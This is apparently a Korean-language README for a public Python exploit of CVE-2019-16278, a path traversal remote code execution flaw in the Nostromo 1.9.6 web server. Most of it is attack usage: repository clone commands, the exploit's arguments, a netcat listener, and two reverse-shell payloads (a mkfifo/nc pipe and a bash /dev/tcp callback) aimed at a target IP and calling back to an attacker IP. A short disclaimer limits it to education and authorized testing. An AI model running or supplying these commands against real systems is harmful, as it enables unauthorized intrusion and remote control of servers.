
인증되지 않은 공격자는 URL 검증 실패로 인해 서버가 '/bin/sh'와 같은 셸 파일을 가리키도록 강제하고, 시스템에 존재하는 임의의 파일로 경로 탐색(path traversal)이 가능해져 임의의 명령을 실행할 수 있습니다. Nostromo 1.9.6과 같은 버전은 이 URL을 검증하지 못합니다.
POC
저장소: https://github.com/CybermonkX/CVE-2019-16278_Nostromo-1.9.6---Remote-Code-Execution.git
이 저장소에는 Nostromo 1.9.6(웹 서버)의 취약점인 CVE-2019-16278에 대한 Python 익스플로잇이 포함되어 있습니다. 이 취약점은 디렉터리 트래버설을 악용하여 대상 시스템에서 임의의 명령을 실행함으로써 **원격 코드 실행(RCE)**을 가능하게 합니다.
git clone https://github.com/CybermonkX/CVE-2019-16278_Nostromo-1.9.6---Remote-Code-Execution.git
cd CVE-2019-16278_Nostromo-1.9.6---Remote-Code-Execution
python3 CVE-2019-16278.py -t <TARGET_IP> -p <PORT> -c "<COMMAND>" [-b <BYTES_TO_READ>]
인자:
python3 CVE-2019-16278.py -t 10.10.10.165 -p 80 -c "whoami"
1단계: 공격 머신에서 Netcat 리스너를 시작합니다:
nc -lvnp 443
2단계: 리버스 셸 페이로드로 익스플로잇을 실행합니다:
python3 CVE-2019-16278.py -t 10.10.10.165 -p 80 -c "rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/bash -i 2>&1 | nc 10.10.16.5 443 > /tmp/f"
python3 CVE-2019-16278.py -t 10.10.10.165 -p 80 -c "bash -i >& /dev/tcp/10.10.16.5/443 0>&1"
이 도구는 교육 목적으로만 제공됩니다. 소유하지 않았거나 테스트에 대한 명시적 허가를 받지 않은 시스템에서 사용하지 마십시오. 시스템에 대한 무단 액세스는 불법입니다. 책임 있게 사용하십시오.
| 인자 | 설명 | 필수 | 기본값 |
|---|
-t, --target | 대상 IP 주소 | 예 | 없음 |
-p, --port | 대상 포트 | 예 | 없음 |
-c, --command | 서버에서 실행할 명령 | 예 | 없음 |
-b, --bytes | 응답에서 읽을 바이트 수 | 아니요 | 4096 |